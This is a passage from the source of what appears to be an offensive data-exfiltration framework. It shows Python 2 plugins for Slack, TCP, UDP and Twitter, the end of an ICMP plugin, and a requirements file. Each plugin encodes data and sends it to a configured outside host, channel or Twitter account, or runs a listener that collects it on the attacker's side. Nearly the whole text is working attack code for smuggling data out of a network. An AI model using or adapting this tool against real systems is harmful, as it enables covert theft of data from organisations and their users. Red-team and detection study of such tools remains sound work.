app.register_plugin('icmp', {'send': send, 'listen': listen}) 42 | -------------------------------------------------------------------------------- /plugins/slack.py: -------------------------------------------------------------------------------- 1 | from slackclient import SlackClient 2 | import time 3 | 4 | app_exfiltrate = None 5 | config = None 6 | sc = None 7 | 8 | 9 | def send(data): 10 | global sc 11 | chan = config['chan_id'] 12 | app_exfiltrate.log_message('info', "[slack] Sending {} bytes with Slack".format(len(data))) 13 | data = data.encode('hex') 14 | 15 | sc.api_call("api.text") 16 | sc.api_call("chat.postMessage", as_user="true:", channel=chan, text=data) 17 | 18 | 19 | def listen(): 20 | app_exfiltrate.log_message('info', "[slack] Listening for messages") 21 | if sc.rtm_connect(): 22 | while True: 23 | try: 24 | raw_data = sc.rtm_read()[0] 25 | if 'text' in raw_data: 26 | app_exfiltrate.log_message('info', "[slack] Receiving {} bytes with Slack".format(len(raw_data['text']))) 27 | app_exfiltrate.retrieve_data(raw_data['text'].decode('hex')) 28 | except: 29 | pass 30 | time.sleep(1) 31 | else: 32 | app_exfiltrate.log_message('warning', "Connection Failed, invalid token?") 33 | 34 | class Plugin: 35 | 36 | def __init__(self, app, conf): 37 | global app_exfiltrate, config, sc 38 | sc = SlackClient(conf['api_token']) 39 | config = conf 40 | app.register_plugin('slack', {'send': send, 'listen': listen}) 41 | app_exfiltrate = app -------------------------------------------------------------------------------- /plugins/tcp.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | config = None 5 | app_exfiltrate = None 6 | 7 | 8 | def send(data): 9 | target = config['target'] 10 | port = config['port'] 11 | app_exfiltrate.log_message( 12 | 'info', "[tcp] Sending {0} bytes to {1}".format(len(data), target)) 13 | client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 14 | client_socket.connect((target, port)) 15 | client_socket.send(data.encode('hex')) 16 | client_socket.close() 17 | 18 | 19 | def listen(): 20 | port = config['port'] 21 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 22 | 23 | try: 24 | server_address = ('', port) 25 | sock.bind(server_address) 26 | app_exfiltrate.log_message( 27 | 'info', "[tcp] Starting server on port {}...".format(port)) 28 | sock.listen(1) 29 | except: 30 | app_exfiltrate.log_message( 31 | 'warning', "[tcp] Couldn't bind on port {}...".format(port)) 32 | sys.exit(-1) 33 | 34 | while True: 35 | app_exfiltrate.log_message('info', "[tcp] Waiting for connections...") 36 | connection, client_address = sock.accept() 37 | try: 38 | app_exfiltrate.log_message( 39 | 'info', "[tcp] client connected: {}".format(client_address)) 40 | while True: 41 | data = connection.recv(65535) 42 | if data: 43 | app_exfiltrate.log_message( 44 | 'info', "[tcp] Received {} bytes".format(len(data))) 45 | try: 46 | data = data.decode('hex') 47 | app_exfiltrate.retrieve_data(data) 48 | except Exception, e: 49 | app_exfiltrate.log_message( 50 | 'warning', "[tcp] Failed decoding message {}".format(e)) 51 | else: 52 | break 53 | finally: 54 | connection.close() 55 | 56 | 57 | class Plugin: 58 | 59 | def __init__(self, app, conf): 60 | global config 61 | global app_exfiltrate 62 | config = conf 63 | app_exfiltrate = app 64 | app.register_plugin('tcp', {'send': send, 'listen': listen}) -------------------------------------------------------------------------------- /plugins/twitter.py: -------------------------------------------------------------------------------- 1 | from tweepy import Stream 2 | from tweepy import OAuthHandler 3 | from tweepy import API 4 | from tweepy.streaming import StreamListener 5 | import base64 6 | import json 7 | 8 | CONSUMER_TOKEN = 'xx' 9 | CONSUMER_SECRET = 'xx' 10 | 11 | ACCESS_TOKEN = 'xx' 12 | ACCESS_TOKEN_SECRET = 'xx' 13 | 14 | USERNAME = 'PaulWebSec' 15 | 16 | api = None 17 | auth = None 18 | app_exfiltrate = None 19 | config = None 20 | 21 | 22 | class StdOutListener(StreamListener): 23 | 24 | def on_data(self, status): 25 | try: 26 | data = json.loads(status) 27 | if data['direct_message'] and data['direct_message']['sender_screen_name'] == USERNAME: 28 | try: 29 | data_to_retrieve = base64.b64decode( 30 | data['direct_message']['text']) 31 | app_exfiltrate.log_message( 32 | 'ok', "Retrieved a packet from Twitter of {0} bytes".format(len(data_to_retrieve))) 33 | app_exfiltrate.retrieve_data(data_to_retrieve) 34 | except Exception, e: 35 | print e 36 | pass 37 | except: 38 | # app_exfiltrate.log_message('warning', "Could not manage to decode message") 39 | pass 40 | 41 | 42 | def start_twitter(): 43 | global api 44 | global auth 45 | 46 | auth = OAuthHandler(config['CONSUMER_TOKEN'], config['CONSUMER_SECRET']) 47 | auth.secure = True 48 | auth.set_access_token(config['ACCESS_TOKEN'], 49 | config['ACCESS_TOKEN_SECRET']) 50 | api = API(auth) 51 | 52 | 53 | def send(data): 54 | global api 55 | if (not api): 56 | start_twitter() 57 | api.send_direct_message(user=USERNAME, text=base64.b64encode(data)) 58 | 59 | 60 | def listen(): 61 | start_twitter() 62 | try: 63 | app_exfiltrate.log_message('info', "[twitter] Listening for DMs...") 64 | stream = Stream(auth, StdOutListener()) 65 | stream.userstream() 66 | except Exception, e: 67 | app_exfiltrate.log_message( 68 | 'warning', "[twitter] Couldn't listen for Twitter DMs".format(e)) 69 | 70 | 71 | class Plugin: 72 | 73 | def __init__(self, app, conf): 74 | global app_exfiltrate, config, USERNAME 75 | config = conf 76 | USERNAME = config['username'] 77 | app.register_plugin('twitter', {'send': send, 'listen': listen}) 78 | app_exfiltrate = app 79 | -------------------------------------------------------------------------------- /plugins/udp.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | config = None 5 | app_exfiltrate = None 6 | 7 | 8 | def send(data): 9 | target = config['target'] 10 | port = config['port'] 11 | app_exfiltrate.log_message( 12 | 'info', "[udp] Sending {0} bytes to {1}".format(len(data), target)) 13 | client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 14 | client_socket.sendto(data.encode('hex'), (target, port)) 15 | 16 | 17 | def listen(): 18 | port = config['port'] 19 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 20 | 21 | try: 22 | server_address = ('', port) 23 | sock.bind(server_address) 24 | app_exfiltrate.log_message( 25 | 'info', "[udp] Starting server on port {}...".format(port)) 26 | except socket.error as e: 27 | app_exfiltrate.log_message( 28 | 'warning', "[udp] Couldn't bind on port {}...".format(port)) 29 | sys.exit(-1) 30 | 31 | while True: 32 | app_exfiltrate.log_message('info', "[udp] Waiting for connections...") 33 | try: 34 | while True: 35 | data, client_address = sock.recvfrom(65535) 36 | app_exfiltrate.log_message( 37 | 'info', "[udp] client connected: {}".format(client_address)) 38 | if data: 39 | app_exfiltrate.log_message( 40 | 'info', "[udp] Received {} bytes".format(len(data))) 41 | try: 42 | data = data.decode('hex') 43 | app_exfiltrate.retrieve_data(data) 44 | except Exception, e: 45 | app_exfiltrate.log_message( 46 | 'warning', "[udp] Failed decoding message {}".format(e)) 47 | else: 48 | break 49 | finally: 50 | pass 51 | 52 | 53 | class Plugin: 54 | 55 | def __init__(self, app, conf): 56 | global config 57 | global app_exfiltrate 58 | config = conf 59 | app_exfiltrate = app 60 | app.register_plugin('udp', {'send': send, 'listen': listen}) 61 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | tweepy 2 | scapy 3 | pysocks 4 | dnslib 5 | pycrypto 6 | slackclient --------------------------------------------------------------------------------